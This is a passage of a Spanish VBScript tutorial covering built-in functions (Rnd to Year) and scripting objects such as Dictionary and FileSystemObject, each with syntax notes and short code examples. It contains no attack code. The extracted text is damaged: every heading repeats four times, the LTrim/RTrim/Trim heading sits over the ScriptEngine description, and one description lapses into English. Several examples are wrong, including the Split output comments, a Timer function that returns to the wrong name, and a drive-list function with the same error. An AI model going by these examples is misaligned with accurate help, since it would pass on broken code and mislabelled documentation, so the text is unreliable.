Función RndFunción RndFunción RndFunción Rnd

Descripción

Page 56: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 56

Devuelve un número aleatorio.

Sintaxis

Rnd[(número)]

El argumento número puede ser cualquier expresión numérica válida.

Comentarios

La función Rnd devuelve un valor menor que 1 pero mayor o igual a 0. El valor de número determina cómo Rnd genera un número aleatorio:

Si número es Rnd genera

Menor que cero El mismo número cada vez, con número como semilla.

Mayor que cero El siguiente número aleatorio de la secuencia.

Igual a cero El último número generado.

No suministrado El siguiente número aleatorio de la secuencia.

Para cualquier semilla inicial proporcionada, se genera la misma secuencia de números porque cada llamada sucesiva a la función Rnd usa el número anterior como semilla para el siguiente número de la secuencia.

Antes de llamar a Rnd, use la instrucción Randomize sin ningún argumento para iniciar el generador de números aleatorios con una semilla basada en el reloj del sistema.

Para producir enteros aleatorios dentro de un intervalo específico, use esta fórmula:

Int((límitesuperior - límiteinferior + 1) * Rnd + límiteinferior) Aquí, límitesuperior es el número más alto del intervalo y límiteinferior es el número más bajo del intervalo. Nota Para repetir secuencias de números aleatorios, llame a Rnd con un número negativo como argumento, inmediatamente antes de usar Randomize con un argumento numérico. Si usa Randomize con el mismo valor para número no se repite la secuencia anterior.

Función RoundFunción RoundFunción RoundFunción Round

Descripción

Devuelve un número redondeado a un número especificado de posiciones decimales.

Sintaxis

Round(expresión[, posicionesdecimales])

La sintaxis de la función Round tiene las siguientes partes:

Parte Descripción

expresión Requerido. Expresión numérica que se va a redondear.

posicionesdecimales Opcional. Número que indica cuántas posiciones a la derecha del decimal se incluyen en el redondeo. Si se omite, la función Round devuelve enteros.

Page 57: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 57

Comentarios

El siguiente ejemplo usa la función Round para redondear un número a dos posiciones decimales: Dim MiVar, pi pi = 3.14159 MiVar = Round(pi, 2) ' MiVar contiene 3.14.

Funciones LTrim, RTrim y TrimFunciones LTrim, RTrim y TrimFunciones LTrim, RTrim y TrimFunciones LTrim, RTrim y Trim

Descripción

Devuelve una cadena que representa el lenguaje de secuencias de comandos que se está usando.

Sintaxis

ScriptEngine

Valores devueltos

La función ScriptEngine puede devolver cualquiera de las siguientes cadenas:

Cadena Descripción

VBScript Indica que el motor de secuencias de comandos actual es Microsoft® Visual Basic® Scripting Edition.

JScript Indica que el motor de secuencias de comandos actual es Microsoft JScript®.

VBA Indica que el motor de secuencias de comandos actual es Microsoft Visual Basic for Applications.

Comentarios

El siguiente ejemplo usa la función ScriptEngine para devolver una cadena que describe el lenguaje de secuencias de comandos que se está usando: Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Genera una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function

Función ScriptEngineBuildVersionFunción ScriptEngineBuildVersionFunción ScriptEngineBuildVersionFunción ScriptEngineBuildVersion

Descripción

Devuelve el número de versión de build del motor de secuencias de comandos que se está usando.

Sintaxis

ScriptEngineBuildVersion

Comentarios

El valor devuelto corresponde directamente a la información de versión contenida en la DLL del lenguaje de secuencias de comandos que se está usando.

Page 58: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 58

El siguiente ejemplo usa la función ScriptEngineBuildVersion para devolver el número de versión de build del motor de secuencias de comandos:

Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function

Función ScriptEngineMajFunción ScriptEngineMajFunción ScriptEngineMajFunción ScriptEngineMajorVersionorVersionorVersionorVersion

Descripción

Devuelve el número de versión principal del motor de secuencias de comandos que se está usando.

Sintaxis

ScriptEngineMajorVersion

Comentarios

El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando.

El siguiente ejemplo usa la función ScriptEngineMajorVersion para devolver el número de versión del motor de secuencias de comandos:

Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function

Función ScriptEngineMinorVersionFunción ScriptEngineMinorVersionFunción ScriptEngineMinorVersionFunción ScriptEngineMinorVersion

Descripción

Devuelve el número de versión secundaria del motor de secuencias de comandos que se está usando.

Sintaxis

ScriptEngineMinorVersion

Comentarios

El valor devuelto corresponde directamente con la información de versión contenida en la DLL para el lenguaje de secuencias de comandos que se está usando.

Page 59: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 59

El siguiente ejemplo usa la función ScriptEngineMinorVersion para devolver el número de versión secundaria del motor de secuencias de comandos:

Function ObtenerInformacionDeMotorDeSecuenciasDeComandos Dim s s = "" ' Generar una cadena con la información necesaria. s = ScriptEngine & " versión " s = s & ScriptEngineMajorVersion & "." s = s & ScriptEngineMinorVersion & "." s = s & ScriptEngineBuildVersion ObtenerInformacionDeMotorDeSecuenciasDeComandos = s ' Devolver los resultados. End Function

Función SecondFunción SecondFunción SecondFunción Second

Descripción

Devuelve un número entero entre 0 y 59, ambos incluidos, que representa el segundo del minuto.

Sintaxis

Second(hora)

El argumento hora es cualquier expresión que pueda representar una hora. Si hora contiene Null, se devuelve Null.

Comentarios

El siguiente ejemplo usa la función Second para devolver el segundo actual: Dim MiSeg MiSeg = Second(Now) ' MiSeg contiene el número que representa el segundo actual.

Función SgnFunción SgnFunción SgnFunción Sgn

Descripción

Devuelve un entero que indica el signo de un número.

Sintaxis

Sgn(número)

El argumento número puede ser cualquier expresión numérica válida.

Valores devueltos

La función Sgn devuelve los siguientes valores:

Si número es Sgn devuelve

Mayor que cero 1

Igual a cero 0

Menor que cero -1

Comentarios

Page 60: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 60

El signo del argumento número determina el valor devuelto de la función Sgn.

El siguiente ejemplo usa la función Sgn para determinar el signo de un número:

Dim MiVar1, MiVar2, MiVar3, MiSigno MiVar1 = 12: MiVar2 = -2.4: MiVar3 = 0 MiSigno = Sgn(MiVar1) ' Devuelve 1. MiSigno = Sgn(MiVar2) ' Devuelve -1. MiSigno = Sgn(MiVar3) ' Devuelve 0.

FunFunFunFunción Sinción Sinción Sinción Sin

Descripción

Devuelve el seno de un ángulo.

Sintaxis

Sin(número)

El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.

Comentarios

La función Sin recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud de la hipotenusa. El resultado está dentro del intervalo desde -1 hasta 1.

Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi.

El siguiente ejemplo usa la función Sin para devolver el seno de un ángulo:

Dim MiAngulo, MiCosecante MiAngulo = 1.3 ' Define un ángulo en radianes. MiCosecante = 1 / Sin(MiAngulo) ' Calcula la cosecante.

Función SpaceFunción SpaceFunción SpaceFunción Space

Descripción

Devuelve una cadena que consta del número de espacios especificado.

Sintaxis

Space(número)

El argumento número es el número de espacios que desea en la cadena.

Comentarios

El siguiente ejemplo usa la función Space para devolver una cadena que consta de un número de espacios especificado: Dim MiCadena MiCadena = Space(10) ' Devuelve una cadena con 10 espacios. MiCadena = "Hola" & Space(10) & "mundo" ' Inserta 10 espacios entre las dos cadenas.

Page 61: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 61

Función SplitFunción SplitFunción SplitFunción Split

Descripción

Devuelve una matriz unidimensional, basada en cero, que contiene un número especificado de subcadenas.

Sintaxis

Split(expresión[, delimitador[, cuenta[, comparación]]])

La sintaxis de la función Split tiene las siguientes partes:

Parte Descripción

expresión Requerido. Expresión de cadena que contiene las subcadenas y delimitadores. Si expresión es una cadena de longitud cero, Split devuelve una matriz vacía, es decir, una matriz sin elementos ni datos.

delimitador Opcional. Carácter de cadena que se usa para identificar los límites de las subcadenas. Si se omite, se asume que el carácter delimitador es el carácter de espacio (" "). Si delimitador es una cadena de longitud cero, se devuelve una matriz de un solo elemento que contiene toda la expresión.

cuenta Opcional. número de subcadenas que se va a devolver; -1 indica que se devuelven todas las subcadenas.

comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar las subcadenas. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento comparación puede tener los siguientes valores:

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Comentarios

El siguiente ejemplo usa la función Split para devolver una matriz a partir de una cadena. La función realiza una comparación de texto del delimitador y devuelve todas las subcadenas. Dim MiCadena, MiMatriz MiCadena = Split("VBScriptXisXfun!", "x", -1, 1) ' MiCadena(0) contiene "VBScript". ' MiCadena(1) contiene "es". ' MiCadena(2) contiene "divertido".

Función SqrFunción SqrFunción SqrFunción Sqr

Descripción

Devuelve la raíz cuadrada de un número.

Sintaxis

Sqr(número)

Page 62: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 62

El argumento número puede ser cualquier expresión numérica válida mayor o igual a 0.

Comentarios

El siguiente ejemplo usa la función Sqr para calcular la raíz cuadrada de un número: Dim MyRaiz MyRaiz = Sqr(4) ' Devuelve 2. MyRaiz = Sqr(23) ' Devuelve 4.79583152331272. MyRaiz = Sqr(0) ' Devuelve 0. MyRaiz = Sqr(-4) ' Genera un error en tiempo de ejecución.

Función StrCompFunción StrCompFunción StrCompFunción StrComp

Descripción

Devuelve un valor que indica el resultado de una comparación de cadenas.

Sintaxis

StrComp(cadena1, cadena2[, comparación])

La sintaxis de la función StrComp tiene los siguientes argumentos:

Parte Descripción

cadena1 Requerido. Cualquier expresión de cadena válida.

cadena2 Requerido. Cualquier expresión de cadena válida.

comparación Opcional. Valor numérico que indica el tipo de comparación que se va a usar al evaluar cadenas. Si se omite, se realiza una comparación binaria. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento comparación puede tener los siguientes valores:

Constante Valor Descripción

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Valores devueltos

La función StrComp devuelve los siguientes valores:

Si StrComp devuelve

cadena1 es menor que cadena2 -1

cadena1 es igual a cadena2 0

cadena1 es mayor que cadena2 1

cadena1 o cadena2 es Null Null

Comentarios

El siguiente ejemplo usa la función StrComp para devolver los resultados de una comparación de cadenas. Si el tercer argumento es igual a 1, se realiza una comparación de texto; si el tercer argumento es igual a 0 o si se omite, se realiza una comparación binaria.

Page 63: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 63

Dim MiCad1, MiCad2, MiComp MiCad1 = "ABCD": MiCad2 = "abcd" ' Define las variables. MiComp = StrComp(MiCad1, MiCad2, 1) ' Devuelve 0. MiComp = StrComp(MiCad1, MiCad2, 0) ' Devuelve -1. MiComp = StrComp(MiCad2, MiCad1) ' Devuelve 1.

Función StringFunción StringFunción StringFunción String

Descripción

Devuelve una cadena de caracteres repetidos de la longitud especificada.

Sintaxis

String(número, carácter)

La sintaxis de la función String tiene los siguientes argumentos:

Parte Descripción

número Longitud de la cadena devuelta. Si número contiene Null , se devuelve Null .

carácter Código de carácter que especifica el carácter o expresión de cadena cuyo primer carácter se usa para generar la cadena devuelta. Si carácter contiene Null , se devuelve Null .

Comentarios

Si especifica un número para carácter mayor que 255, String convierte el número en un código de carácter válido con la fórmula: carácter Mod 256 El siguiente ejemplo usa la función String para devolver cadenas de caracteres repetidos de la longitud especificada: Dim MiCadena MiCadena = String(5, "*") ' Devuelve "*****". MiCadena = String(5, 42) ' Devuelve "*****". MiCadena = String(10, "ABC") ' Devuelve "AAAAAAAAAA".

Función StrReverseFunción StrReverseFunción StrReverseFunción StrReverse

Descripción

Devuelve una cadena en la que se invierte el orden de los caracteres de una cadena especificada.

Sintaxis

StrReverse(cadena1)

El argumento cadena1 es la cadena cuyos caracteres se van a invertir. Si cadena1 es una cadena de longitud cero (""), se devuelve una cadena de longitud cero. Si cadena1 es Null, se produce un error.

Comentarios

El siguiente ejemplo usa la función StrReverse para devolver una cadena en orden inverso: Dim MiCad MiCad = StrReverse("VBScript") ' MiCad contiene "tpircSBV".

Page 64: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 64

Función TanFunción TanFunción TanFunción Tan

Descripción

Devuelve la tangente de un ángulo.

Sintaxis

Tan(número)

El argumento número puede ser cualquier expresión numérica válida que exprese un ángulo en radianes.

Comentarios

Tan recibe un ángulo y devuelve el radio o proporción de dos lados de un triángulo rectángulo. El radio o proporción es la longitud del lado opuesto al ángulo dividido por la longitud del lado adyacente al ángulo.

Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi.

El siguiente ejemplo usa la función Tan para devolver la tangente de un ángulo:

Dim MiAngulo, MiCotangente MiAngulo = 1.3 ' Define un ángulo en radianes. MiCotangente = 1 / Tan(MiAngulo) ' Calcula la cotangente.

Función TimeFunción TimeFunción TimeFunción Time

Descripción

Devuelve un valor Variant del subtipo Date que indica la hora actual del sistema.

Sintaxis

Time

Comentarios

El siguiente ejemplo usa la función Time para devolver la hora actual del sistema: Dim MiHoraCompleta MiHoraCompleta = Time ' Devuelve la hora actual del sistema.

Función TimerFunción TimerFunción TimerFunción Timer

Descripción

Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).

Sintaxis

Timer

Observaciones

Page 65: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 65

El ejemplo siguiente utiliza la función Timer para determinar el tiempo que lleva iterar un bucle For...Next N veces: Function TiempoBucle(N) Dim StartTime, EndTime StartTime = Timer For I = 1 To N Next EndTime = Timer TimeIt = EndTime - StartTime End Function

Función TimeSerialFunción TimeSerialFunción TimeSerialFunción TimeSerial

Descripción

Devuelve un valor Variant del subtipo Date que contiene la hora para una hora, minuto y segundo específicos.

Sintaxis

TimeSerial(hora, minuto, segundo)

La sintaxis de la función TimeSerial tiene los siguientes argumentos:

Parte Descripción

hora Número entre 0 (12:00 a.m.) y 23 (11:00 p.m.), ambos inluidos, o una expresión numérica.

minuto Cualquier expresión numérica.

segundo Cualquier expresión numérica.

Comentarios

Para especificar una hora, como 11:59:59, el intervalo de números para cada argumento TimeSerial debería estar dentro del intervalo aceptado para la unidad; es decir, entre 0 y 23 para las horas y entre 0 y 59 para los minutos y segundos. Sin embargo, también puede especificar horas ralativas para cada argumento, mediante el uso de cualquier expresión numérica que represente algún número de horas, minutos o segundos antes o después de una hora determinada.

Los siguientes ejemplos usan expresiones en lugar de números de hora absolutos. La función TimeSerial devuelve una hora para 15 minutos antes (-15) de seis horas antes del mediodía (12 - 6) o 5:45:00 a.m.

Dim MyTime1 MyTime1 = TimeSerial(12 - 6, -15, 0) ' Devuelve 5:45:00 a.m. Cuando cualquier argumento excede el intervalo aceptado para ese argumento, se incrementa hasta la siguiente unidad mayor según sea adecuado. Por ejemplo, si especifica 75 minutos, se evalúa como una hora y 15 minutos. Sin embargo, si cualquier argumento está fuera del intervalo entre -32768 y 32767 o si la hora especificada por los tres argumentos, directamente o a través de una expresión, hace que la fecha exceda el intervalo de fechas permitido, se produce un error.

Función TimeValueFunción TimeValueFunción TimeValueFunción TimeValue

Descripción

Devuelve un valor Variant del subtipo Date containing the time.

Sintaxis

Page 66: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 66

TimeValue(hora)

Normalmente, el argumento hora es una expresión de cadena que representa una hora desde 0:00:00 (12:00:00 a.m.) hasta 23:59:59 (11:59:59 p.m.), ambas incluidas. Sin embargo, hora también puede ser cualquier expresión que represente una hora en ese intervalo. Si hora contiene Null, se devuelve Null.

Comentarios

Puede escribir horas válidas mediante el uso del reloj de 12 horas o de 24 horas. Por ejemplo, "2:24p.m." y "14:24" son argumentos hora válidos. Si el argumento hora contiene información de fecha, TimeValue no devuelve la información de fecha. Sin embargo, si hora incluye información de fecha no válida, se produce un error.

El siguiente ejemplo usa la función TimeValue para convertir una cadena en hora. También puede usar literales de fecha para asignar una hora directamente a una variable Variant (por ejemplo, MiHoraCompleta = #4:35:17 p.m.#).

Dim MiHoraCompleta MiHoraCompleta = TimeValue("4:35:17 p.m.") ' MiHoraCompleta contiene 4:35:17 p.m.

Función TypeNameFunción TypeNameFunción TypeNameFunción TypeName

Descripción

Devuelve una cadena que proporciona información de subtipo Variant acerca de una variable.

Sintaxis

TypeName(nombredevariable)

El argumento requerido nombredevariable puede ser cualquier variable.

Valores devueltos

La función TypeName devuelve los siguientes valores:

Valor Descripción

Byte Valor byte

Integer Valor entero

Long Valor entero largo

Single Valor de coma flotante de precisión simple

Double Valor de coma flotante de precisión doble

Currency Valor de moneda

Decimal Valor decimal

Date Valor de fecha u hora

String Valor de cadena de caracteres

Boolean Valor de tipo Boolean; True o False

Empty No iniciado

Null Datos no válidos

<tipo de objeto> Nombre real de tipo de un objeto

Object Objeto genérico

Page 67: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 67

Unknown Tipo de objeto desconocido

Nothing Variable de objeto que aún no hace referencia a una instancia de un objeto

Error Error

Comentarios

El siguiente ejemplo usa la función TypeName para devolver información acerca de una variable: Dim ArrayVar(4), MiTipo NullVar = Null ' Asigna un valor Null. MiTipo = TypeName("VBScript") ' Devuelve "String". MiTipo = TypeName(4) ' Devuelve "Integer". MiTipo = TypeName(37.50) ' Devuelve "Double". MiTipo = TypeName(NullVar) ' Devuelve "Null". MiTipo = TypeName(ArrayVar) ' Devuelve "Variant()".

Función UBoundFunción UBoundFunción UBoundFunción UBound

Descripción

Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.

Sintaxis

UBound(nombredematriz[, dimensión])

La sintaxis de la función UBound tiene las siguientes partes:

Parte Descripción

nombredematriz Requerido. nombre de la variable de matriz que cumple con el estándar de asignación de nombres de variables.

dimensión Opcional. Número entero que indica para qué dimensión se va a devolver el límite superior. Use 1 para la primera dimensión, 2 para la segunda y así sucesivamente. Si se omite dimensión, se asume que es igual a 1.

Comentarios

La función UBound se usa con la función LBound para determinar el tamaño de una matriz. Use la función LBound para buscar el límite inferior de una dimensión de una matriz.

El límite inferior de cualquier dimensión siempre es igual a 0. Como resultado, UBound devuelve los siguientes valores para una matriz con estas dimensiones:

Dim A(100,3,4)

Instrucción Valor devuelto

UBound(A, 1) 100

UBound(A, 2) 3

UBound(A, 3) 4

Función UCaseFunción UCaseFunción UCaseFunción UCase

Page 68: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 68

Descripción

Devuelve una cadena que se convirtió en mayúsculas.

Sintaxis

UCase(cadena)

El argumento cadena es cualquier expresión de cadena válida. Si cadena contiene Null, se devuelve Null.

Comentarios

Sólo se convierten en mayúsculas las letras minúsculas; todas las letras mayúsculas y caracteres que no son letras no cambian.

El siguiente ejemplo usa la función UCase para devolver una versión en mayúsculas de una cadena:

Dim MiPalabra MiPalabra = UCase( "Hola mundo" ) ' Devuelve "HOLA MUNDO".

Función VarTypeFunción VarTypeFunción VarTypeFunción VarType

Descripción

Devuelve un valor que indica el subtipo de una variable.

Sintaxis

VarType(nombredevariable)

El argumento nombredevariable puede ser cualquier variable.

Valores devueltos

La función VarType devuelve los siguientes valores:

Constante Valor Descripción

vbEmpty 0 Empty (no iniciado)

vbNull 1 Null (datos no válidos)

vbInteger 2 Entero

vbLong 3 Entero largo

vbSingle 4 Número de coma flotante de precisión simple

vbDouble 5 Número de coma flotante de precisión doble

vbCurrency 6 Moneda

vbDate 7 Fecha

vbString 8 Cadena

vbObject 9 Objeto de Automatización

vbError 10 Error

vbBoolean 11 Valor de tipo Boolean

vbVariant 12 Valor de tipo Variant (sólo se usa con matrices de valores de tipo Variant)

Page 69: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 69

vbDataObject 13 Un objeto de acceso a datos

vbByte 17 Valor de tipo Byte

vbArray 8192 Matriz

Nota Estas constantes las especifica VBScript. Como resultado, los nombres se pueden usar en cualquier parte del código en lugar de los valores reales.

Comentarios

La función VarType nunca devuelve el valor Array. Siempre se agrega a algún otro valor para indicar que es una matriz de un tipo determinado. El valor Variant sólo se devuelve cuando se agregó al valor Array para indicar que el argumento de la función VarType es una matriz. Por ejemplo, el valor devuelto para una matriz de enteros se calcula como 2 + 8192 u 8194. Si un objeto tiene una propiedad predeterminada, VarType (objeto) devuelve el tipo de su propiedad predeterminada.

El siguiente ejemplo usa la función VarType para determinar el subtipo de una variable.

Dim MiComprobacion MiComprobacion = VarType(300) ' Devuelve 2. MiComprobacion = VarType(#10/19/62#) ' Devuelve 7. MiComprobacion = VarType("VBScript") ' Devuelve 8.

Función WeekdayFunción WeekdayFunción WeekdayFunción Weekday

Descripción

Devuelve un número entero que representa el día de la semana.

Sintaxis

Weekday(fecha, [primerdíasemana])

La sintaxis de la función Weekday tiene los siguientes argumentos:

Parte Descripción

fecha Cualquier expresión que pueda representar una fecha. Si fecha contiene Null , se devuelve Null .

primerdíasemana Una constante que especifica el primer día de la semana. Si se omite, se asume vbSunday.

Valores

El argumento primerdíasemana tiene los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar configuración de API NLS.

vbSunday 1 Domingo

vbMonday 2 Lunes

vbTuesday 3 Martes

vbWednesday 4 Miércoles

vbThursday 5 Jueves

vbFriday 6 Viernes

Page 70: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 70

vbSaturday 7 Sábado

Valores devueltos

La función Weekday puede devolver cualquiera de los siguientes valores:

Constante Valor Descripción

vbSunday 1 Domingo

vbMonday 2 Lunes

vbTuesday 3 Martes

vbWednesday 4 Miércoles

vbThursday 5 Jueves

vbFriday 6 Viernes

vbSaturday 7 Sábado

Comentarios

El siguiente ejemplo usa la función Weekday para obtener el día de la semana de una fecha especificada: Dim MiFecha, MiDiaDeLaSemana MiFecha = #19 de octubre de 1962# ' Asigna una fecha. MiDiaDeLaSemana = Weekday(MiFecha) ' MiDiaDeLaSemana contiene 6 porque ' MiFecha representa un viernes.

Función WeekdayNameFunción WeekdayNameFunción WeekdayNameFunción WeekdayName

Descripción

Devuelve una cadena que indica el día de la semana especificado.

Sintaxis

WeekdayName(díasemana, abreviar, primerdíasemana)

La sintaxis de la función WeekdayName tiene las siguientes partes:

Parte Descripción

díasemana Requerido. La designación numérica para el día de la semana. El valor numérico de cada día depende de la configuración del valor primerdíasemana.

abreviar Opcional. Valor de tipo Boolean que indica si el nombre del día de la semana se debe abreviar. Si se omite, el valor predeterminado es False, que significa que el nombre del día de la semana no se abrevia.

primerdíasemana Opcional. Valor numérico que indica el primer día de la semana. Consulte la sección Valores para saber cuáles son los valores permitidos.

Valores

El argumento primerdíasemana puede tener los siguientes valores:

Constante Valor Descripción

vbUseSystem 0 Usar configuración de API NLS.

vbSunday 1 Domingo (predeterminado)

Page 71: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 71

vbMonday 2 Lunes

vbTuesday 3 Martes

vbWednesday 4 Miércoles

vbThursday 5 Jueves

vbFriday 6 Viernes

vbSaturday 7 Sábado

Comentarios

El siguiente ejemplo usa la función WeekDayName para devolver el día especificado: Dim MiFecha MiFecha = WeekDayName(6, True) ' MiFecha contiene Vie.

Función YearFunción YearFunción YearFunción Year

Descripción

Devuelve un número entero que representa el año.

Sintaxis

Year(fecha)

El argumento fecha es cualquier expresión que pueda representar una fecha. Si fecha contiene Null, se devuelve Null.

Comentarios

El siguiente ejemplo usa la función Year para obtener el año a partir de una fecha especificada: Dim MiFecha, MiAno MiFecha = #19 de octubre de 1962# ' Asigna una fecha. MiAno = Year(MiFecha) ' MiAno contiene 1962.

OBJETOSOBJETOSOBJETOSOBJETOS

Objeto DictionaryObjeto DictionaryObjeto DictionaryObjeto Dictionary

Descripción

Objeto que almacena pares de datos clave, elemento.

Comentarios

Un objeto Dictionary es el equivalente a una matriz asociativa de PERL. Los elementos, que pueden ser cualquier forma de datos, se almacenan en la matriz. Cada elemento está asociado con una clave única. La clave se usa para recuperar un elemento individual y, normalmente, es un entero o una cadena, pero puede ser cualquier tipo de datos excepto una matriz.

Page 72: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 72

El siguiente código muestra cómo crear un objeto Dictionary:

Dim d ' Crea una variable Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo"

Objeto DriveObjeto DriveObjeto DriveObjeto Drive

Descripción

Proporciona acceso a las propiedades de una unidad de disco o recurso de red compartido específico.

Comentarios

El siguiente código muestra el uso del objeto Drive para tener acceso a las propiedades de una unidad: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function

Colección DrivesColección DrivesColección DrivesColección Drives

Descripción

Colección de sólo lectura de todas las unidades disponibles.

Comentarios

Las unidades de discos removibles no necesitan tener insertado un disco para que aparezcan en la colección Drives.

El código siguiente muestra cómo obtener la colección Drives y cómo iterar a través de la colección con la instrucción For Each...Next:

Function MostrarListaDeUnidades Dim fso, d, dc, s, n Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d in dc n = "" s = s & d.DriveLetter & " - " If d.DriveType = Remote Then n = d.ShareName ElseIf d.IsReady Then n = d.VolumeName End If s = s & n & "<BR>" Next ShowDriveList = s End Function

Page 73: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 73

Objeto FileObjeto FileObjeto FileObjeto File

Descripción

Proporciona acceso a todas las propiedades de un archivo.

Comentarios

El siguiente código muestra cómo obtener un objeto File y cómo ver una de sus propiedades. Function MostrarFechaCreacion(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) MostrarFechaCreacion = f.DateCreated End Function

Colección FilesColección FilesColección FilesColección Files

Descripción

Colección de todos los objetos File que existen en una carpeta.

Comentarios

El código siguiente muestra cómo obtener la colección Files y cómo iterar a través de la colección con la instrucción For Each...Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.Files For Each f1 in fc s = s & f1.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function

Objeto FileSystemObjectObjeto FileSystemObjectObjeto FileSystemObjectObjeto FileSystemObject

Descripción

Proporciona acceso al sistema de archivos de un equipo.

Comentarios

El siguiente código muestra cómo se usa FileSystemObject para devolver un objeto TextStream del que se puede leer o en el que se puede escribir: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close En el código anteror, la función CreateObject devuelve FileSystemObject (fso). El método CreateTextFile crea el archivo como un objeto TextStream (a) y el método WriteLine escribe una línea de texto en el archivo de texto creado. El método Close vacía el búfer y cierra el archivo.

Page 74: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 74

Objeto FolderObjeto FolderObjeto FolderObjeto Folder

Descripción

Proporciona acceso a todas las propiedades de una carpeta.

Comentarios

El siguiente código muestra cómo obtener un objeto Folder y cómo devolver una de sus propiedades: Function MostrarFechaCreacion(especificaciondecarpeta) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) MostrarFechaCreacion = f.DateCreated End Function

Colección FoldersColección FoldersColección FoldersColección Folders

Descripción

Colección de todos los objetos Folder contenidos en un objeto Folder.

Comentarios

El código siguiente muestra cómo obtener la colección Folders y cómo iterar a través de la colección con la instrucción For Each...Next: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.SubFolders For Each f1 in fc s = s & f1.name s = s & "<BR>" Next MostrarListaDeCarpetas = s End Function

Objeto TextStreamObjeto TextStreamObjeto TextStreamObjeto TextStream

Descripción

Permite el acceso secuencial a un archivo.

Comentarios

En el siguiente código, a es el objeto TextStream devuelto por el método CreateTextFile en FileSystemObject: Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile= fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close WriteLine y Close son dos métodos del objeto TextStream.

Page 75: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 75

MÉTODOSMÉTODOSMÉTODOSMÉTODOS

Método Add (Dictionary)Método Add (Dictionary)Método Add (Dictionary)Método Add (Dictionary)

Descripción

